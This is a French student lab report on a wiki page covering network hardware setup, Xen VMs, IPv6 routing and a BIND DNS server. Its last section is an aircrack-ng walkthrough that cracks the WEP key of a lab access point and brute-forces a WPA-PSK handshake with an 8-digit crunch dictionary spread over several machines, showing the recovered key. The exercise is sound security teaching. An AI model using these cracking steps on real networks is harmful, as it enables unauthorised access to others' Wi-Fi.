TP sysres IMA2a5 2020/2021 G4 : Différence entre versions
(→Récupération du Handshake) |
(→Cassage de mot de passe WPA-PSK) |
||
Ligne 213 : | Ligne 213 : | ||
On réutilise ensuite : | On réutilise ensuite : | ||
airodump-ng wlan0mon | airodump-ng wlan0mon | ||
− | + | dans le but de récupérer le BSSID afin d'afficher les trames qui passent. On remarque que les trames de kracotte* se trouvent sur le channel 4 et que BSSID de la kracotte04 est 00:14:1B:60:8C:24. J'ai donc pu filtrer ma recherche de manière à n'observer que les trames qui passent vers kracotte04 avec : | |
airodump-ng -c 4 --bssid 00:14:1B:60:8C:24 -w AvezWPA.txt wlan0mon | airodump-ng -c 4 --bssid 00:14:1B:60:8C:24 -w AvezWPA.txt wlan0mon | ||
Comme précédemment, j'ai enregistré toutes les trames qui passaient et je les ai envoyé dans un fichier nommé "AvezWPA.txt"A ce moment, j'ai du attendre environ un quart d'heure de manière à voir le handshake s'afficher à l'écran comme sur l'image ci-dessous : | Comme précédemment, j'ai enregistré toutes les trames qui passaient et je les ai envoyé dans un fichier nommé "AvezWPA.txt"A ce moment, j'ai du attendre environ un quart d'heure de manière à voir le handshake s'afficher à l'écran comme sur l'image ci-dessous : |
Version du 11 novembre 2020 à 23:18
Sommaire
Installation de l'architecture matérielle
Dans un premier temps, nous nous sommes occupés de l'aspect Hardware du projet. Le but étant de connecter entre eux les différents éléments suivants : Routeur 6509, Serveur de virtualisation R540, commutateur 3560-E & ISR 4331. Pour cela, nous nous sommes servis de la fibre mise à dispostion. En effet, le routeur 6509, composé des deux cartes de supervision doit être connecté au R540, au 3560-E ainsi qu'à l'ISR 4331 via une liaison fibre. Initialement, nous comptions connecter chaque carte de supervision aux autres éléments grâce à la fibre présente dans les salles. Cela aurait donné le schéma ci-dessous :
Schéma mis au propre par Alexandre GLAINE après avoir fait un brouillon au tableau lors de la réunion d'équipe
Ainsi, grâce à cette configuration, il y aurait eu de la redondance entre les cartes de supervision et les autres éléments. De ce fait, si une des cartes de supervision était défectueuse, la seconde pourrait toujours communiquer avec le reste du système.
Cependant, afin de se partager le matériel avec la seconde classe, nous ne pouvions utiliser que la moitié de la fibre mise à disposition. De ce fait, nous avons abouti à la configuration suivante :
Schéma modifié par Alexandre GLAINE après que Crispin DJAMBA et moi-même nous sommes rendus compte que nous ne pouvions utiliser que la moitié de la fibre.
Ainsi, les connexions fibres sont partagées entre les deux cartes de supervision. Ces dernières sont connectées entre elles via le fond de panier. De cette manière, nous aboutissons à la connexion suivante :
Ici, le R540 et le 3560-E sont connectés à la seconde carte de supervision. La première, quant à elle, est directement connectée à l'ISR 4331 et au réseau Polytech. Pour vérifier que notre système est bien connecté au réseau Polytech, nous sommes descendu dans la salle ----- et avons vérifié la bonne connexion en envoyant un signal lumineux à travers la fibre. Grâce à cela, nous avons également décelé des erreurs comme une inversion du Tx et du Rx, que nous avons immédiatement corrigées.
Les connexions commutateur3560-E / l'ISR4331 et commutateur3560-E / R540 ont été faites grâce à des câbles RJ45. L'ISR 4331 a également été connecté au réseau SDSL directement dans la salle E304.
Ainsi, cette configuration matérielle permet d'avoir une connexion entre tous les éléments tout en gardant à l'esprit l'aspect de sécurité. En effet, le routeur 6509 n'est pas placée dans la même salle que le Serveur de virtualisation R540, le commutateur 3560-E et l'ISR 4331. De ce fait, si un aléa comme un incendie se déclare dans l'une des salles, le reste du système reste intacte.
Mise en place des machines virtuelles
Création
Chacun a ensuite créé sa machine virtuelle. Lionel SAWICZ et moi avons également créé celles de Samuel CRAMETTE et Nathan COULON car ils étaient occupés sur une autre tâche. Pour cela, nous nous sommes connectés sur le serveur capbreton en ssh. Ensuite, nous avons pu créer nos machines en les paramétrant grâce à la commande suivante :
xen-create-image --hostname=Falcon --ip=193.48.57.167 --gateway=193.48.57.163 --dir=/usr/local/xen --dist=beowulf
On peut vérifier l'avancement de l'installation grâce à :
tail -f /var/log/xen-tools/Falcon.cfg
Démarrage
Pour lancer ma machine virtuelle, j'ai utilisé la commande :
xen create /etc/xen/Falcon.cfg xen console Falcon
Configuration
Le mot de passe par défaut étant vraiment compliqué, j'ai pu le changer avec passwd. Cependant, il m'était impossible de me connecter sur ma machine virtuelle. C'est pourquoi, j'ai également dû effectuer des changements dans les fichiers "/etc/ssh/ssh_config" (pour autoriser la connexion en ssh) et "/etc/network/interfaces" (pour changer l'adresse de la gateway). Il ne me restait plus qu'à redémarrer le service :
ifdown eth0 ifup eth0 service ssh restart
Utilisation
Je peux maintenant avoir accès directement à ma machine virtuelle en tapant la commande :
ssh root@193.48.57.167
Configuration IPV6
Routage de site IPV6
Il fallait également configurer les routeurs de manière à ce que nos machines puissent se construire des adresses IPV6. Pour ma part, je me suis occupé du routeur 6509E. Nous avons fixé le préfixe IPV6 de notre promotion à 2001:660:4401:60a0::/60. La configuration IPV6 pour l'un des trois VLAN s'est faite de la manière suivante :
sh run int vlan1
interface Vlan1 ip address 10.6..0.1 255.255.255.0 ipv6 address 2001:660:4401:60A1::/64 eui-64 ipv6 enable ipv6 nd prefix 2001:660:4401:60A1::/64 1000 900 ipv6 nd router-preference High end
Je me suis préalablement assuré que le 6509E est en mode double pile IPV4/IPV6 avec :
sdm prefer dual-ipv4-and-ipv6 default
Ensuite, j'ai effectué la configuration globale grâce à la commande :
ipv6 unicast-routing
Interconnexion avec internet
Après avoir activé le protocole RIPV6 avec
ipv6 rip tpima5sc enable
J'ai cherché à interconnecter le routeur 6509E avec celui de Polytech en utilisant le protocolant activé précédemment de la manière suivante :
ipv6 router rip tpima5sc redistribute connected metric 1 redistribute rip 1 metric 1 redistribute static metric 1
Mise en place du serveur DNS
Pendant que mes autres camarades étaient penchés sur d'autres tâches, je me suis intéressé à la mise en place du serveur DNS avec Lena CHENU de manière à pouvoir leur transmettre mes recherches et leur faire gagner du temps.
Modification des fichiers de configuration
Dans un premier temps, j'ai acheté un nom de domaine, nommé "salsifis.site", via la plateforme gandi.net. Le but du serveur DNS est de traduire ce nom de domaine en adresse IP. Pour cela, j'ai commencé par inscire l'IP de la machine autorisée à communiquer avec mon serveur DNS en modifiant le fichier /etc/bind/named.conf.options de la manière suivante :
options { directory "/var/cache/bind"; forwarders { 0.0.0.0; }; dnssec-validation auto; listen-on-v6 { any; }; allow-transfer { "allowed_to_transfer"; }; }; acl "allowed_to_transfer" { 217.70.177.40/32; };
Ensuite, il a fallu définir une zone correspondant à mon domaine (salsifis.site). Pour cela, j'ai modifié cette fois-ci le fichier /etc/bind/named.conf.local comme présenté ci-dessous :
zone "salsifis.site" { type master; file "/etc/bind/db.salsifis.site"; };
L'étape suivante fut d'écrire le fichier de zone qui est le fichier de configuration du domaine. Ce fichier, nommé /etc/bind/db.salsifis.site, s'écrit donc :
$TTL 3600 @ IN SOA ns.salsifis.site. postmaster.salsifis.site. ( 1 ; Version 1800 ; Refresh (30m) 600 ; Retry (10m) 3600 ; Expire (1h) 3600 ) ; Minimum TTL (1h) IN NS ns.salsifis.site. IN NS ns6.gandi.net. ns IN A 193.48.57.167
Vérification et service Bind9
J'ai trouvé une commande sur internet qui m'a permis de déceler les erreurs de syntaxe dasn mon fichier. J'ai de ce fait utilisé la commande
named-checkzone salsifis.site /etc/bind/db.salsifis.site
de manière à ne pas relancer le service bind9 avec des erreurs.
Une fois avoir tout corrigé, j'ai enfin pu lancer la commande
service bind9 restart
Si le processus se déroule bien, la console nous affiche "ok".
Pointage du nom de domaine vers mon DNS
Une fois le DNS opérationnel, il a fallu faire pointer mon nom de domaine salsifis.site vers mon DNS ainsi créé. Pour cela, je suis allé sur Gandi.net dans la rubrique "Glue Record" afin de cibler le nom de domaine vers l'adresse IP de ma machine virtuelle. La rubrique "Serveurs de noms" m'a servi à établir ns6.gandi.net comme serveur secondaire.
Tests d'intrusion
Installation
Dans un premier temps, j'ai installé l'utilitaire aircrack-ng qui va par la suite me servir à attaquer les clés WEP et WPA2-PSKgrâce à la commande :
apt-get install aircrack-ng
Cassage de la clé WEP
Pour ma part, je me suis trompé de numéro lors de l'attaque de la clé WEP. C'est pourquoi j'exposerai dans la suite de cette partie comment je m'y suis pris pour trouver la clef WEP de cracotte5 et non de cracotte4. L'utilitaire installé précédement va me permettre d'utiliser les différentes commandes dqns la suite de cette partie. Par exemple, pour lister les différentes interfaces sans fils disponibles sur mon ordinateur, j'utilise :
airmon-ng PHY Interfaces Drivers Chipset phy3 wlx40a5ef0f679b rt2800usb Ralink Technology, Corp.RTS370
Grâce à cela, on trouve notre point d'accès qui est le suivant : wlx40a5ef0f679b. On veut analyser les trames sur le Wifi. Mais pour cela, il faut faire passer la carte Wifi en mode monitor de la manière suivante :
airmon-ng start wlx40a5ef0f679b
A ce moment, on peut vérifier ggrâce à airmon-ng que le point d'accès se nomme désormais wlan0mon :
airmon-ng PHY Interfaces Drivers Chipset phy3 wlan0mon rt2800usb Ralink Technology, Corp.RTS370
On peut alors écouter les trames Wifi grâce à airodump-ng. Ici, on se concentre sur ce qu'il se passe sur le channel 9 (celui sur lequel se trouve cracotte5) :
airodump-ng --encrypt wep -c 9 wlan0mon
Cela nous permet de récupérer le bssid de cracotte5 : 04:DA:D2:9C:50:54
On peut de ce fait filtrer notre recherche en n'écoutant que le channel 9 et en y ajoutant son bssid. La commande suivante va nous permettre de détecter toutes les trames qui passeront et les enverra dans un fichier nommé "AvezAirodump.txt"
airodump-ng -c 9 --bssid 04:DA:D2:9C:50:54 -w AvezAirodump.txt wlan0mon
Dans un autre terminal, on tape la commande suivante :
aircrack-ng -b 04:DA:D2:9C:50:54 AvezAirodump.txt.cap
Après plusieurs minutes d'attente, on trouve enfin la clef WEP du point d'accès Wifi :
Cassage de mot de passe WPA-PSK
Récupération du Handshake
Pour trouver le mot de passe WPA-PSK, j'ai utilisé le même outils que précédemment. C'est pour cela qu'on réitère la même procédure. Tout d'abord, je fais en sorte de lister les interfaces WiFi disponibles avec :
airmon-ng
On obtient la liste ci dessous :
PHY Interface Driver Chipset phy0 wlx40a5ef0f679b rt2800usb Ralink Technology, Corp. RT5370
On passe la carte Wifi en mode monitor :
airmon-ng start wlx40a5ef0f679b
Suite à cela, l'interface wlx40a5ef0f679b sera renommée en wlan0mon. Maintenant, si on réutilise airmon-ng pour lister de nouveau des interfaces Wifi disponibles on obtient :
PHY Interface Driver Chipset phy0 wlan0mon rt2800usb Ralink Technology, Corp. RT5370
Le nom de l'interface a donc bien été modifié.
On réutilise ensuite :
airodump-ng wlan0mon
dans le but de récupérer le BSSID afin d'afficher les trames qui passent. On remarque que les trames de kracotte* se trouvent sur le channel 4 et que BSSID de la kracotte04 est 00:14:1B:60:8C:24. J'ai donc pu filtrer ma recherche de manière à n'observer que les trames qui passent vers kracotte04 avec :
airodump-ng -c 4 --bssid 00:14:1B:60:8C:24 -w AvezWPA.txt wlan0mon
Comme précédemment, j'ai enregistré toutes les trames qui passaient et je les ai envoyé dans un fichier nommé "AvezWPA.txt"A ce moment, j'ai du attendre environ un quart d'heure de manière à voir le handshake s'afficher à l'écran comme sur l'image ci-dessous :
Exécuttion de Aircrack sur différentes zabeth
Une fois le handshake récupéré, j'ai créé mon propre dictionnaire contenant l'ensemble des mots de passes potentiels. En effet, nous savions que le mot de passe n'était composé que de 8 chiffres aléatoires. J'ai donc dasn un premier temps créé un dictionnaire, nommé DicoComplet, contenant les 100 000 000 possibilité grâce à la simple commande
crunch 8 8 0123456789 >> DicoComplet.txt
Cependant si je lançais la commande aircrack-ng tout de suite, ma machine mettrait un très long moment à trouver la clef en testant toutes les possibilités. Pour pallier ce problème, j'ai divisé mon dictionnaire en 5 fichiers distincts avec
split -b 200m DicoComplet.txt
On peut vérifier que cela à bien fonctionné en regardant le contenu des fichiers générés
ls >> DicoComplet.txt xaa xab xac xad xae Posséder ces différents fichiers va me permettre d'exécuter la commande aircrack-ng sur d'autres zabeth de manière à diminuer le temps de recherche du mot de passe.
Pour cela, j'ai procédé de la manière suivante sur chaque zabeth : 1. Connexion sur les zabeth, création du dossier de travail et copie des fichiers à utiliser
ssh zabethXX mkdir .Thib Copie des fichiers : scp AvezWPA.txt-04.cap root@zabethXX:~/.Thib/AvezWPA.cap scp ~/Documents/ThibautAvez/xaa root@zabeth06:~/.Thib/xaa
2. Cassage de la clef WPA :
aircrack-ng -w xaa AvezWPA.cap
3. Affichage de la recherche du mot de passe Ici on voit que le mot de passe est recherché sur différentes machines en même temps, ce qui diminue énormément le temps.
Mot de passe trouvé
Aircrack-ng 1.5.2
[00:19:28] 20290947/24000647 keys tested (13741.35 k/s)
Time left: 4 minutes, 29 seconds 84.54%
KEY FOUND! [ 20122222 ]
Master Key : D6 7E C6 61 10 48 3A 5D 4D C5 71 0D 90 87 1A CA 05 8B E3 4A 6D E8 DC B3 41 DD 96 69 F8 4A BF 80
Transient Key : 69 A6 0F 8C 6A 40 0A 8A 58 47 0B 9E 3A 99 62 9B A8 7E D8 67 94 20 AA CA A7 1F E6 74 76 24 4C 6D D6 28 BC 6C DB 50 BB 54 B4 5D 19 0E 0C 57 21 AE A6 0A 67 67 77 38 B7 B8 53 9F 8B 42 80 FF B1 EC
EAPOL HMAC : 2C 89 DA A5 CE 6F BA E2 21 FB 3B D0 58 3A 4E 01